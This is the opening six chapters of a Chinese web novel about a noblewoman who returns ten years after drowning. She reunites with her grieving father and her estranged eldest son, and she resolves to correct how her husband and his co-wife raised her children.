《逆子,开门!你娘回来整顿家风了》
第1章 重生十年后
孟南枝死了。
景和三年秋,大衍与北戎两国交战。
衍军虽胜,但死伤惨重。
圣上为祭奠衍军英灵,允百姓放灯以寄哀思。
孟南枝陪好友到大庆湖畔放河灯,一起祭拜她的亡夫。
没想到围栏断裂,她们两人一同挤落湖中。
弥留之际,她看到自己的夫君镇北侯急切的冲入湖中,拥着好友到了岸上。
而她却与他们越来越远,直至沉入湖底彻底失去意识。
混沌中,她被迫站在一个大幕布前,跟观戏一般看完了全家一生。
在那幕布里,她是个配角——镇北侯的早逝亡妻。
溺水而亡后,她的夫君镇北侯娶了自己的好友为平妻,悉心养育她带来的女儿,完全视若己出。
两人恩爱似胶,堪称大衍模范。
而她深爱的三个子女,全长成了所谓的反派。
她的长子外表俊秀,却内心扭曲、手段阴狠,不顾礼仪廉耻的爱上继妹,甚至不惜黑化造反,失败后被千刀万剐、五马分尸。
她的次子温和良善,却不走正途,整日摸鸡斗狗,不干人事,流连于赌场和烟花之地,最终得罪贵人,被切掉传家宝,变成了公公。
而她唯一的女儿刁蛮任性,因为嫉恨继姐,不惜用一切手段处处坑继姐、虐继姐,跟继姐抢男人,最终因为极致虐恋而心态发疯。
因她三个子女造反,导致孟家受到牵连,孟父最后以死谢罪,才换得全族性命发配边疆。
而她的夫君镇北侯,却因继女攀上高枝,而免于受难。
什么狗屁剧情,简直一窍不通。
自己教养出的三个孩子怎么可能会变成如此恶人,自己的家人怎么会这样凄惨收场?!
凭什么,这一切到底凭什么!
孟南枝努力脱离禁锢,一次又一次的在原地跳湖,只为能回到她原来的世界。
她要去扇镇北侯两巴掌,问一问他到底有没有心,配不配做丈夫,配不配做人父!
在第一千一百八十九次跳湖后,她终于回来了。
不知在湖中游了多久,孟南枝刚准备浮出水面,就被一只鱼钩勾住了头发,硬拉着她往岸边拽。
河岸沿,一名竹笠遮面的青衫老者指节紧扣钓鱼竿柄,偏瘦的身躯向前弯斜如弓,脖间青筋暴起,溢出闷哼。
眼见钓线绷得快要断裂,候着的老年仆人连忙上前帮忙一起拽住鱼竿。
“老爷,看来今天这是条大鱼。”
头皮被拽得生疼,孟南枝只得一只手握住鱼线往岸边游去。
老年仆人率先上前查看,“老爷,是个人!”
“咳咳。”
孟南枝吐出卡在喉咙的湖水,抬眸看向走过来的老人,“爹?”
老人虽说穿着朴素,却难掩满身贵气,面容虽显老态,却和记忆中的父亲一模一样。
孟正德:“枝枝?”
老年仆人:“小姐?”
“你是枝枝?”孟正德不置信的蹲下身子,双手握住孟南枝的肩膀,又随即放下。
“不对,若是枝枝活着,也已是三十妇人,怎会如此年轻?”
“可你却和枝枝长得一模一样。”
眼前的女子不过花信之年,肤若凝脂,眉如远黛含烟,眼似秋水横波。
河水浸湿的乌发贴在额间,眉峰微蹙,眼尾却因水汽洇红似泪,平添几份楚楚媚态。
似女儿,又不似女儿。
孟正德心中一跳,猛得拽住孟南枝的手腕,“说,是谁派你打扮成我女儿的样子?谁让你接近本官?”
孟南枝无法解释这一切,“爹,我真的是枝枝啊!你忘了,上元节,我同林婉柔在大衍湖畔放花灯……”
孟正德双目泛红,打断她的话,“本官的女儿十年前便死了。”
孟南枝这才注意到正值壮年的父亲已是满头白发,“爹,你头发怎么全白了?怎么苍老了这么多?”
湖水倒影出她的脸,和她溺水时一模一样,没有任何变化,就连衣着,也是那日的素锦如意云纹罗裙。
孟南枝一时间心里五味杂陈。
她的确是回来了,没想到却没回到那天,而是到了十年后。
为了让父亲信她,孟南枝一一陈述:“爹,我出生那日,你因为担心害怕母亲出事,站都站不稳,在产房外面坐了数十个时辰。”
“我抓周那日,你并非像旁人那样只摆出琴棋书画、纸墨笔砚,还选了刀弓算书。”
“我童龀时喜欢骑大马,你为了我的安全,便每日趴在地上扮作马儿让我骑。”
“我喜欢吃樱桃,你便叫家仆种了一片樱桃林,因为家仆种的樱桃太酸,你第二年便跑遍整个江南与京北去寻樱桃苗。”
“母亲病逝,若非我在你面前,只怕你当场就要随母亲去了。”
“我大婚前夜,你在母亲的灵堂前坐了整整一夜……”
孟南枝双目噙泪,述说着父亲对她的好。
“枝枝,是枝枝,不必再说了,父亲信你。”
孟正德同样落泪,他不是不信,他是怕,怕女儿的出现只是幻想。
擦拭掉眼泪,孟正德将孟南枝扶起来,“快,枝枝,马车上有衣服,你先去换换。”
孟南枝坐上马车,从父亲随车携带的箱里寻出几套衣物,全是依照她的尺寸量身订做的新样式,不禁再次落泪。
深呼吸,调节好情绪后,孟南枝才从马车中走出,向父亲身边的老年仆人道了声:“福伯。”
福伯,跟了父亲几十年,也是自小看着她长大的。
福伯擦了擦了眼角,“小姐,你总算回来了。你走了十年,老爷就在这里钓了十年的鱼,就盼着有一天能再见着你。”
孟正德哽咽,“走,枝枝,爹带你回家。”
她的女儿,十年前落入大衍湖畔,死不见尸。
那是他亡妻给他留下的唯一子嗣。
他曾在亡妻面前许诺,会守护女儿一辈子,不让她吃一点苦,却未想着女儿走在了他前面。
得知女儿溺亡那日,他和三个外孙抱头痛哭,自己一夜白发。
马车在福伯的驾驶下缓缓离开河岸,驶向京都孟府。
孟南枝问出心中所疑,“爹,我不是在大衍湖?”
孟正德点头,“这条河是大衍湖唯一的下游,不知为何,你死以后,大衍湖便被侯爷抽干了,至今没有一滴水。”
怪不得她跳了那么多次湖都没有成功。
原来是他,她的夫君堵死了她回来的路。
第2章 长子沈砚修
见她不语,孟正德又轻拍了拍她的手背,“侯爷至今未续弦。”
是没续弦,但是娶了平妻呢。
孟南枝不置可否,当真是即要占尽实惠,又想落个清名。
孟正德道:“其实这些年,侯爷为寻你也吃了不少苦。这些年一直寻你不着,侯府给你立了衣冠冢,京里不少人家的姑娘都想挤破脑袋的去做侯爷的续弦,但侯爷都没娶她们。若不是去年太后实在是看不下去修儿他们无母可依,特地给侯爷指了……”
说到这里,孟正德下意识的看了女儿一眼。
孟南枝面上平静,心中却是冷哼。
镇北侯哪里是为她守着,不过是为了娶那位友人——林婉柔,所找的借口罢了。
若不是,一个堂堂侯爷,太后点了那么多未嫁女给他,都不点头。
怎么就在提到林婉柔时,低下了头呢。
好在太后嫌她是二嫁,怕乱了正统,只得点了林婉柔为平妻。
没看到女儿有哪里不对,孟正德继续说:“爹刚见到你跟十年前一模一样没有丝毫变化,也是第一时间怀疑是其他势力为了接近侯爷,故意派你来先接近爹的。”
孟正德叹了口气,“毕竟这些年,京中谁人不知我每日在此垂钓。”
见女儿依旧沉默不语,孟正德忙劝慰道:“枝枝你放心,既然你回来了,这侯夫人的位置,怎么也都是你的,爹这就带你去侯府找他。”
孟南枝连忙拦住父亲的话,“爹,女儿暂时不想回侯府。”
孟南枝自知父亲是心疼她,可她在看到镇北侯先把林婉柔救出湖,放任她溺亡后,便不想再做这侯夫人了。
只是不做这侯夫人,又该如何要回儿女的养育权呢?
想至此,孟南枝问道:“爹,那平妻待我儿如何?”
孟正德道:“慈爱友加,处处维护。”
孟南枝道:“那我儿如何?”
孟正德蹙眉道:“修儿他……”
孟正德话还未说完,马车外传来嚷嚷声响。
“快,快。”
“清街啦,镇北侯家的小世子来了。”
“快跑,可别挡着他的道,少不得要挨一鞭子。”
一时间,闹市变成无人市。
孟南枝蹙眉,“福伯,停下。”
暮色压着长街,青石板缝里渗出潮气,一声清越的喝声划破寂静。
“驾!”
一名白衣少年骑在纯黑骏马上,鬓毛飞扬间,少年的衣袂如白鸟振翅,与身后渐沉的暮色形成鲜明的对照。
少年身后跟着两骑黑衣奴仆,腰佩弯刀,眼神如鹰隼扫过两侧。
摊贩们早卷了摊子,货郎缩在墙根,连猫狗都夹着尾巴躲进巷弄。
马蹄碾过水洼,溅起的泥水溅到哪家门板上,那门便“吱呀”缩紧半寸。
少年忽然抬眼,扫过去的眸光比冰棱更寒,一个探头的稚童“哇”地哭出声,被大人慌忙拽走。
孟南枝抬眉看向父亲:?
慈爱友加,处处维护?
我的阳光温柔大男孩被养成了这个鬼样子?
孟正德无奈摆手:我能怎么办?我一个外姓臣子能管得住侯爷家的孩子?
孟南枝踢了父亲一脚,孟正德只得下车阻拦少年,“修儿。”
“吁……”
沈砚修勒紧马绳,翻身下马行礼,“外祖父,您怎么在这里?可是又去垂钓了。”
还算知礼,没让他在女儿面前掉面子。
孟正德点头,却是不满道:“你看你,当街骑马,百姓避讳,害得幼儿啼哭,这是又准备前往何处去行凶去?”
“外祖父。”沈砚修垂眉,眼神却带着倨傲,“孙儿准备去明家与那明家女退婚。”
“胡闹!”
孟正德生气的甩了下衣袖,抬眉看了眼窗帘紧合的马车,问道:“退婚之事,你父亲可成同意?”
沈砚修冷哼,“我的婚事与他何干。”
孟正德道:“你与明家的婚约乃是你祖父生前所定,你这般未经父母同意便去退婚,置你父亲于何地,置侯府于何地,若是你母亲知晓……”
“我母亲已经死了,外祖父不要再说了。”
沈砚修双目泛红,语气决绝:“那明家女自幼失教,无才无德,入我王府难掌中馈;且其父乃是通敌叛贼,此等污名,我侯府断不能沾。若娶此女,不仅辱没门楣,更恐引火烧身。外公向来清明,也是我除了弟弟妹妹以外最亲的人,当知此中利害。这门婚事,孙儿万难从命。”
说罢,他躬身一揖,再抬头时,眼底无半分转圜余地。
到底还是按照那幕中剧情走了。
长子接下来会被人蛊惑,退了老侯爷生前所订婚约,之后落人口实,逐渐成为一个见利忘义的伪君子。
孟南枝叹息一声,起身下车,望向间隔十年未见的少年,眼睛生疼。
“修儿。”
她溺水前,他还是个爱黏在她身边的孩子,时常眉眼弯弯,笑起来能映亮半间屋。
可眼前的少年,褪去了孩童的圆软,下颌紧绷,眉骨高挑,那双盛满星空的眼睛,如今却如结了薄冰的湖面,带着数不清的冷意。
“母……母亲?”
明明身处空旷之地,沈砚修却突然感觉有些呼吸不过来,不可置信的看着眼前的女子,双目变得通红。
女子容貌素净,却生得极美,唇角带着浅浅的笑意,如清泉里黑曜石般的眼睛,正柔软而温柔的看着他。
那眼底深处藏着的关切与疼惜,像极了他记忆里模糊却温暖的轮廓。
是他辗转多年、午夜梦回时反复思念的,属于母爱的温度。
他想向前,却又胆怯的止住脚步,抬头看向外祖父。
待得到孟正德点头肯定后,方才箭步上前贴入孟南枝怀中,“真的是你吗?母亲。”
少年的声音带着变声期的粗哑,尾音却藏着一丝不易察觉的颤抖,像极了他五岁时因调皮被父亲罚站,偷偷抹眼泪时的声气。
“是我,修儿,母亲终于找到回家的路了。”
孟南枝搂着比自己还要高上一头的沈砚修,心口发紧。
她不在的这些日子,镇北侯究竟让她的孩子,受了多大委屈。
第3章 想退婚
眼见沈砚修就要跟着孟南枝坐进马车,一名黑衣奴仆道:“世子爷,再不去明家,只怕是要晚了。”
沈砚修看了眼明家的方向,有些踌躇。
他出来前,才与父亲起了争执,发誓今日必然要退掉这婚。
孟南枝佯装轻咳一声。
沈砚修忙道:“怎么了,母亲?可是身有不适?”
随即又冷声喝斥奴仆:“没看到我母亲回来了吗,不去了。”
两位黑衣奴仆互视一眼,其在一位在面有麻子的奴仆暗点上,说道:“可是,世子爷,侯夫人已经死了,这位只怕是假的。”
沈砚修抬脚将奴仆踹翻在地上,“找死,敢咒本世子母亲!”
两位奴仆吓得连忙跪下应罪,“小人该死,世子爷赎罪。”
沈砚修甩了下衣衫,哼道:“本世子今日高兴,你们两个各罚五十大掌。”
“小人谢世子爷。”
两位黑衣奴仆磕头谢恩后,开始用力互扇起巴掌来。
孟南枝皱了眉头,看来把长子掰正,需要耗费一点功夫。
她正思衬着,长街远处突然跑来一个气喘嘘嘘的奴仆,老远便喊道:“世子,等等我。”
沈砚修忙推着孟南枝上车,“母亲,我们走。”
这么急,明显有猫腻。
孟南枝笑道:“不是有人在喊你吗,且等等。”
人还未近身,便先听其劝慰声,“世子,莫要去明府,侯爷说……”
待看到沈砚修身边的孟南枝时,声音突然跟见鬼似的,变得结结巴巴起来,“侯……侯夫人?”
是观棋,这是沈砚修三岁时孟南枝亲自为他挑的书童。
比沈砚修要长上三岁,对孟南枝的记忆也更深刻些。
谢南枝看向沈砚修,沈砚修尴尬的摸了摸鼻子。
还不是他一有事,观棋就会跟父亲汇报,害他事事被父亲管辖。
孟南枝问道:“侯爷说什么?”
“小人见过侯夫人,给侯夫人请安。”
观棋连忙行礼,踌躇了两下道:“侯爷……侯爷说世子若是今日退了婚,他便立马进宫求圣上剥了世子的爵位,降他为平民,把他送到北戎之地。”
沈砚修果然怒不可遏:“让他去!本世子不稀罕他的爵位!”
孟南枝:“他敢?!”
沈砚修:?
明知儿子处在青春叛逆期,不去帮忙解决实际问题,反而火上烧油,倒逼儿子去退婚。
当真是好算计!
孟南枝冷哼一声,不再看观棋一眼,拉着沈砚修坐进马车。
马车行走,观棋紧跟两步,欲张口替侯爷说话,却又神叨叨的马上给了自己一嘴巴,转身反方向跑去。
坐下后,沈砚修注意到角落放着母亲溺亡那天带着一团湿气的衣服。
他还记得母亲穿上这衣裙时,问他这身衣服是否素雅。
他笑称不好看,像丧服,还被母亲拍了一把掌。
思至此,沈砚修不免声音突然变得哽咽,“母亲,你……”
刚才他只顾激动,未曾细想逻辑。
溺亡十年的母亲突然出现了,这是真的吗?
十年前,他亲眼看到母亲落入湖中,父亲下去救人,托举出来的却是别人的母亲。
才刚过六岁生辰的他不顾旁人阻拦,托着小小的身板连续数十次跳入湖中想救母亲,却被父亲一把掌拍晕,锁进家门。
十天后,父亲将他放出,却是得到湖水抽干,母亲生不见人死不见尸的消息。
若非父亲先救了别的女子,他善水的的母亲何至于会溺水而亡。
他哭了一日又一日,恨了父亲一年又一年。
自那日起,他便与父亲生了嫌隙。
孟南枝道出早已想好的说辞,“那日我落水后昏迷,被人所救醒来却失去了记忆,也是近日才恢复些记忆,这才寻到了你外祖父。”
沈砚修点头,有心想问母亲为何这么多年却毫无变化,却不敢多问。
孟南枝自知自己容貌与十年前一样,早晚会引人怀疑,此时却只能故意装作不知儿子心中所想,反问道:“修儿是想去退婚?”
沈砚修捏紧了手指。
孟南枝知道他这是忧虑思索要不要说的小习惯,便任由他想。
沈砚修深吸一口气道:“是的,母亲,孩儿想与明家女退婚。”
他与明家女并没有感情,而且他现在已心有所属。
孟南枝点头,反问父亲:“爹,明家可是出了什么事?我刚听修儿说什么通敌叛国。”
她溺亡前,明家还是家道兴隆武将世家,她虽透过巨幕得知了家人生平,但对其过程却是相当模糊,并不知明家具体出了什么事。
孟正德回顾往惜,叹道:“事情还要从十年前那次与北戎邕城之战说起,你死后,军中流传两万衍军战死乃是明将军通敌造成。”
“虽然明将军以死自证,屠戎将军谢归舟又力证明他的清白,但民间还是流传明将军乃是叛徒。”
孟南枝有些疑惑开口:“谢归舟?当初那个清瘦的少年?”
孟正德点了点头:“对,屠戎将军就是谢归舟,也就是小国舅爷,你之前见过的。这十年间咱大衍与北戎战争,全靠他带兵有方,杀得北戎节节败退,如今已经收复了邕城以北的几座城池。”
孟南枝记得他,父亲作为太傅教导皇子时,他经常坐在角落,身形清瘦,不爱说话,倒没想到竟然成了名震天下的屠戎将军。
孟南枝对长子说道:“既然没有证据说明将军通敌,又有屠戎将军力证清白,修儿你怎能以通敌之名去退婚,你可知你的身份。”
沈砚修不语,紧抿的唇却透着倔强。
孟南枝叹气,她的儿子她知晓,并不是什么薄凉之辈。
六岁,本就是三观正在树立的时候,却因她的溺亡与父亲生了嫌隙。
再加上一些不怀好意的人加以引领,怪不得之后会越长越歪。
还好,故事只进行了一半。
如今她已回来,这三个子女,她会亲自教养掰正。
孟南枝拍了拍他的手背,“你是侯门世家子弟,一言一行都代表着侯府颜面。你以通敌之名去退婚,让百姓们怎么想?坐实明家通敌罪名?让圣上怎么想?你有明家通敌证据?若没有,那就是污蔑已故朝臣。”
巨幕中,沈砚修便因此不被圣上所喜。
沈硕修明悟,眼中闪过一丝愧疚,张了张嘴,垂眉道:“孩儿错了。”
母亲走后,父亲对他非打即骂,又娶了平妻,何时肯用心与他讲过这些道理。
他现在懵懂知晓,以后不会再犯。
见他确实知错,孟南枝劝慰道:“再说,这桩婚事原是你祖父定下的,八字庚帖过了明路,岂是说退就能退的?你一个小辈,贸然去提退婚,传出去人家只会说你年少轻狂、不知礼数。
真要觉得哪里不合适,也该由我和你父亲出面。长辈们坐下来好好商议,或寻个由头,或赔些礼数,总要把体面留全了。你且安心待着,这事交给我便是,莫要再自己钻牛角尖了。”
叛逆期,不能反着来,先顺着稳住他的心神,再慢慢来拨正他的想法。
“是,母亲,孩儿受教了。”
沈砚修垂首,红了眼眶,有母亲护着的感觉真好。
第4章 一向交好
孟南枝抬手想摸摸他的头。
没够到。
这才想起长子已经十六,快是个大人了。
沈砚修见状立马弯腰将头放在她的手下,还不忘炫耀,“母亲,我长大了,该我来保护你了。”
孟南枝失笑的点头,“是啊,我的修儿长大了,该来保护母亲啦。”
“等一下。”
沈砚修拉开车帘看了眼,“母亲,你不是最喜欢糯香居的桂花糕,我去给你买。”
不过片刻,少年便揣了一盒糕点回来,“母亲你尝尝,看味道是不是和十年前一样。”
少年的眼睛亮晶晶的看着她,那目光纯粹又热烈,像浸在晨露里的星子,满是对肯定的渴求。
孟南枝满怀复杂心绪,在少年亮得惊人的注视下,尝了口桂花糕。
入口香甜,却又带着她难以言语的涩意,“嗯,味道和十年前分毫不差。”
沈砚修也自顾自拈了一块,声音带着嗡气的哽咽:“母亲走后,我来这儿吃过好多次桂花糕,总觉得不对味。今日再吃,才觉得糕点的味道一直没变。”
孟正德也捻了一块,暗自叹道:是啊,东西没变,怎么之前吃就不是这个味呢。
孟南枝眼中带着湿气,脸上泛起温柔的笑,再次揉了揉少年的头。
马车继续行驶,随着车外街市逐渐恢复喧闹,车内却一时寂静下来。
沈砚修嚼着糕点,突然抬头看了眼孟南枝,眉宇间透着一丝不易察觉的紧张。
又低头扣了扣手指,将口中糕点咽下,才开口低声问道:“母亲既然回来了,要不要和孩儿一起回侯府?父亲寻了你好久,若是见到你,定是同孩儿一样高兴的。”
他与父亲之间的嫌隙皆因母亲溺亡而起,眼下既然母亲回来了,想来他们一家便可回归正常。
珩弟不会像他一样总被父亲不喜。
昭妹不会在别人炫耀母爱时,生气的拽人的头发,又跑到母亲灵前哭泣。
外人再也不会说他与弟妹无母可依。
少年的眼中带着希冀和乞求,所盼的不过是一家团圆。
就如曾经少年的她,无数次希望病逝的母亲哪一天也能平安归来。
孟南枝眉眼间凝着几分复杂,轻声道:“修儿,你父亲娶了平妻。”
对长子来说,她的离开,是十年。
但对她来说,却不过是离开了一瞬间而已。
即便是混沌中那一千多次跳湖,也顶多不过数十个时辰。
所以,她怎么可能接受得了前一天还与她恩爱的镇北侯,突然之间就娶了平妻呢。
她想知在子女心中,对镇北侯和这平妻到底是如何看待的,又有几分情意。
“母亲可是不想让父亲娶平妻?”
能感觉到母亲的不喜,沈砚修慌忙解释道:“母亲,父亲虽然娶了平妻,可还为母亲留着正妻之位,侯夫人的位置只能是母亲的。”
孟南枝不想讨论这个问题,便是问道:“那平妻待你如何?”
“婉姨她……”
沈砚修抬眸看了眼母亲,母亲好似还不知道父亲娶的平妻是婉姨。
又抬眼看向外祖父,见他闭着眼,只得闷声道:“那平妻待孩儿,还算宽厚吧。”
宽厚。
孟南枝闻言心中一沉。
能从桀骜不驯的长子嘴里吐出这两个字,那证明这平妻有着唱戏的好手段。
孟南枝心中五味杂陈,闭了闭眼,再睁眼时,眼底已无半分波澜。
她转向长子,脸上挂着温和的笑意,语气听不出喜怒:“修儿,跟母亲说说,她待你是如何宽厚的。”
沈砚修斟酌言语,道:“那平妻待孩儿向来妥贴周道,十分温柔,凡孩儿心意,无有不从,十分疼爱。不似父亲,动辄便驳了孩儿的念头。”
可不是么,两人故意形成对比,一个唱红脸,一个唱白脸。
继母,自然是咬着牙装大度。
正是因为她对长子无有不从的教养溺爱,养成他如今自私、以后扭曲的心理。
孟南枝顿时气得不想说话。
沈砚修只觉自己可能说错了话,但又不知错在了哪里,只得硬着头皮,小心翼翼道:“母亲,父亲娶的那位平妻是婉姨。”
孟南枝装作不知道,暗暗咬牙:“林婉柔?”
前一刻,自己还在拼命救她,下一刻她竟嫁了自己夫君。
“对的,母亲,你之前与婉姨不是一向交好?”
是啊,就是因为是她,她才气啊。
却听沈砚修又道:“母亲不在的这些年,婉姨一直待我们还不错,我们想做什么都同意,还会帮我们劝父亲。太后下懿旨时,婉姨一开始也是不愿的,但后面又像是不得已一样,带着筝妹进了侯府。”
当初母亲溺亡后,他曾因父亲先救婉姨而迁怒于她。
可婉姨多次跪在他面前诉说是她的罪过,并想跳湖以命抵命换他母亲回来。
他当时年纪小,念着母亲在时又对她那般好。
所以他虽气恼,却也不可能真的叫她去死。
而且,不管弟弟妹妹对她如何恶言恶行,她都始终以礼相待,让人挑不出错去。
所以在后来当皇太后指婚婉姨做父亲平妻,婉姨在家里哭闹着想要婉拒,说对不起母亲,想要以死谢恩,父亲对她是又心疼又维护时。
他实在是难过,在心里替母亲不平,却唯独再也没有以死抵触了。
算了,即便没有婉姨,也会有其他人的。
孟南枝已经知晓长子的心路,但好不容易才咬了咬牙,将那口闷血吞了下去。
在长子面前,只能先装作不介怀的,笑着问道:“既然修儿认为她待你们好,母亲便可放心了,你珩弟和昭妹现如何?”
沈砚修似乎想起了什么,眸中闪过复杂情绪,为了不让母亲担忧和多想,只简单的说了弟弟和妹妹的去处,“昭妹随太后去了避暑山庄,珩弟出去游玩,不日便会回来。”
呵,她的次子哪里是去游玩,只因看不惯那平妻,被镇北侯打了几鞭,离家出走了。
好在她知次子此次出走并没有遇到危险,而且不过两日便会回来,否则早就杀到镇北侯府了。
第5章 老奴有罪
孟正德看了眼女儿皮笑肉不笑的脸色,忙是咳了一声道:“砚修,你母亲刚回来,身子也未完全恢复,我打算先把你母亲接回孟家住上数日,待身子养好一些再说。”
沈砚修闻言有些着急,“母亲可是哪里受了伤?”
孟南枝指了指自己的头,“脑子。”
她果真是脑子出了问题,非要千辛万苦的重生回来,受那假面好友、故意歪心养她孩子的气。
沈砚修顿时起身道:“可还严重?母亲你先随外祖父回去,孩儿这就去请太医来给你看看。”
少年的莽撞,带着毫不掩饰的关切。
孟南枝气闷之余,又稍添欣慰,便没拦他。
在他走后,孟南枝吐了口浊气,看着一直默默看向自己的父亲,笑着道了声:“爹。”
孟正德轻拍了拍她的手背,心疼得别过了头,“别怕,有爹在,跟爹回家。”
到底不过是双十年华的性子,哪里玩得过这么阴的手段。
他是天子伴读,又曾是皇子太傅,岂会看不出这其中谋算。
他并不反对镇北侯娶妻纳妾,毕竟为了孩子,他也纳了。
他反感的是那林婉柔自称是女儿的好姐妹,若想死,偷偷的在家里三尺白绫便何死了,何故每次都在人前闹死闹活的。
只不过原来他以为女儿死了,不想管也懒得管,如今女儿回来了,怎么也要成为女儿坚强的后盾。
不过一区区侯府,他孟正德还得罪的起。
……
太医院。
沈砚修急匆匆的跑来,拽住正在看医书的洪太医就往外走,“洪太医,快跟我走。”
洪太医整理被拽乱的衣襟,道:“沈世子这么急可是侯府谁出了急病?你先同我讲讲,我好拿些药材。”
沈砚修一时哑言,母亲到底是哪里不适来着?
他走得急,根本就没细问,只得简短说道:“我母亲,脑子,不,头疼。”
洪太医只当是镇北侯的平妻,也没多问,拿了几副治头疼的药材,背起医箱就跟着他走了出去。
只是走到门口被塞上马,跑了几步后,又道:“沈世子,方向,方向,你是不是走错了,这不是去侯府的路。”
沈砚修扬声道:“没错,去孟府。”
……
马车行至孟府,推开十年未换却已重刷了数次朱漆的大门。
院角的樱桃树依旧斜依着墙,葡萄藤还缠着旧竹架,阶前的苔藓绿得发暗,连檐角那窝燕子,也还在老地方筑了巢。
只是坐在院内洒扫的孟嬷嬷,鬓角白得像是落了雪,见到她,手里的扫帚“当啷”掉在地上,张着嘴半天没说话。
廊下侍立的来福,背也驼了,当年清亮的眼如今蒙了层翳,辨认半晌,才张嘴发出抖得不成样子的声音,“小、小姐,是小姐回来了。”
厅内传来慌乱的声响,紧接着一名鬓边霜色比积雪还重的妇人夺门而出,鸦青色的裙摆沾着褶皱,几步踉跄走到她跟前,却又硬生生的顿住,嘴唇哆嗦,“真是的枝枝?”
孟南枝喉头一哽,眼中发涩道:“姨娘,是我。”
母亲病故前,自知父亲待她情深意重,她走后,父亲定是无心再娶。
她担心夫君会做傻事随她而去,又担心女儿年幼无人照看,便自做主张,为父亲纳了小户人家温柔贤惠的庶女胡姨娘为妾。
父亲不愿,再三将胡姨娘赶出家门。
直到母亲逼迫父亲,若不将胡姨娘接回,她下辈子将不再和他做夫妻。
父亲只能无奈同意。
接纳前,孟父再三告戒胡姨娘,他这辈子只有枝枝一个女儿。
为脱离原生家庭的胡姨娘也全然不在意,自然同意入孟府为妾。
入了孟府后,胡姨娘谨遵与孟父的约定,待孟南枝如同亲女,却又从不僭越。
孟南枝通过巨幕得知,直到父亲死亡,胡姨娘都未曾诞下一子半女。
胡姨娘抚了抚她的乌发和脸颊,而后一把将孟南枝拥在了怀里,泪如雨下,“枝枝,真的是你,老爷竟然真的把你给盼回来了。”
孟南枝笑着替她擦拭眼泪,“是啊,姨娘,父亲将我给带回来了,你可莫要再难过了。”
胡姨娘却从口袋里掏出袖帕,反去给孟南枝擦手,“姨娘不难过,姨娘这是高兴的。”
可她脸上的泪珠却是越擦越多。
孟南枝只得拥着她进屋坐下,“姨娘,我饿了。”
胡姨娘这才止了泪,连忙吩咐下人道:“快,去让厨房做几道小姐最爱吃的菜来。”
话音刚落,又觉得不妥,气场喊道:“不成,还得我亲手做。”
孟南枝拦道:“姨娘不必如此。”
胡姨娘却执意道:“怎么不必?枝枝,你都有十年没尝过我亲手做的菜了。”
孟南枝心道:她其实并未离开那么久。
孟正德拦住还准备劝说的女儿,说道:“让她去吧,那是她的心意。”
父亲开口,孟南枝只得任胡姨娘去了。
胡姨娘离开后,刘嬷嬷颤微微的到了跟前,对着她就要跪下,“夫人。”
孟南枝连忙扶住她,“嬷嬷。”
刘嬷嬷眼角的细纹如同褶皱的宣纸,略显浑浊的眼睛定定的看着孟南枝,“真好,老奴还能看到夫人,夫人还是和以前一模一样。”
刘嬷嬷原是母亲身边最得力的贴身大丫鬟,一手掌家理事的本事都是母亲亲手教的。
母亲故后,刘嬷嬷便揣着母亲临终前的嘱托,守在她身边,屋里屋外的琐事都打理得慰贴妥贴。
她嫁入侯府,刘嬷嬷自然也随着陪嫁过来,成了她在侯府最贴心的臂膀。
待她在侯府站稳脚跟,执掌起侯府中馈,刘嬷嬷便成了侯府后宅人人敬重的“二主事”。府中大小事宜,她若亲自过问,刘嬷嬷便在一旁辅助。她若身有不适,或外出赴宴,侯府上下的采买、洒扫、下人调度,全凭刘嬷嬷一人而决。
想至此,孟南枝疑声问道:“嬷嬷,你怎么不在侯府。”
大衍律例,即便她死,侯府也该给刘嬷嬷养老才对。
这次,刘嬷嬷再也不顾孟南枝阻拦,硬生生的跪在地上,“夫人,老奴有罪,没替夫人照顾好公子、小姐,被侯爷赶出了侯府。”
第6章 谁人不识
刘嬷嬷为人忠厚,办事妥帖,在她身边这些年,不仅从来没有犯过一点错,更是她的左膀右臂,怎么可能会照顾不好她的三个子女。
“嬷嬷先莫自责,起来说话。”
孟南枝将她拉起来,这才注意到她竟坡了脚,忙把她扶到椅子上坐下。
刘嬷嬷诉说辛苦,一时老泪纵横,“夫人刚不在的那几年,侯爷待公子、小姐慈爱,公子、小姐也都很乖巧懂事,府中一切事务还是按照原来夫人在的时候交由我打理。”
“可随着平夫人时不时打着代夫人照顾公子、小姐的名义往府中跑,大公子与侯爷的争吵越来越多,渐渐远离夫人安排的观棋,时常带着两个刚进府的奴仆往外跑,闯出了人人惧怕侯世子的名号。”
“本就聪慧的二公子也开始不喜读书,一心只想玩猫斗狗。侯爷管得越严,二公子就玩得越厉害,侯爷若是气得动了手,二公子就会离家出走。”
“小姐天真烂漫,从不与人起争执,可随着平夫人嫁进侯府,外面就传出来小姐刁蛮任性的名声。有一次小姐外出赴宴,被人说是没娘养的,小姐气极便拿鞭子抽了那人。侯爷为陪罪,便以老奴没管教好小姐为由,打了二十大板,赶出了侯府。”
说到此处,刘嬷嬷再次情绪激动,“夫人,老奴有罪,有负夫人所托。”
这哪里是刘嬷嬷有罪,明明是她那位好夫君镇北侯有罪!
好好的子女养得越来越歪,竟还怪是外人的错。
简直倒反天罡!
孟南枝眼帘轻阖,掩去眸底翻涌的怒意,语气温和的对刘嬷嬷柔声劝道:“嬷嬷,这些年让你受委屈了。既然我已回来,定会为你讨回这份公道。”
刘嬷嬷连忙站起躬身,声音哽咽,“老奴,谢夫人。”
说罢又擦了擦眼泪,对着孟正德行了一礼道:“老奴去给老爷夫人备些喜欢喝的茶水来。”
茶盏尚未在案几上落定,长子沈砚修已经带着洪太医,几乎是半拖半拽的进了孟府。
“母亲,我带洪太医来了。”他挎栏而入,声音还带着未散的急惶,“洪太医,你快给我母亲瞧瞧。”
洪太医到了正厅,刚准备对端坐首位的孟正德行礼,目光扫过旁侧的身影,瞬间呆愣在地,“侯,侯夫人?”
孟家千金,镇北侯夫人,谁人不知,谁人不晓。
十年前溺于大衍湖畔,生不见人、死不见尸。
长子为救母数十次跳湖,镇北侯为救妻抽干湖水,孟太傅一夜白发,为寻女十年如一日于河道垂钓。
那一年,大衍京都贴满她的画像。
满京都,上至当朝天子,下至普通百姓,没有一人不知镇北侯夫人的模样。
就跟现在,一模一样。
孟南枝笑问道:“洪太医可是看我有何不妥?”
洪太医回过神来,双手合揖道:“下臣失礼,见过侯夫人,?喜侯夫人平安归来,恭贺太傅寻回爱女,守得云开见月明。”
孟正德点头,“有劳洪太医亲自跑一趟,快看看小女身子是否有恙。”
在孟南枝手腕处搭了一层手帕,洪太医问道:“不知侯夫人可是有何不适?”
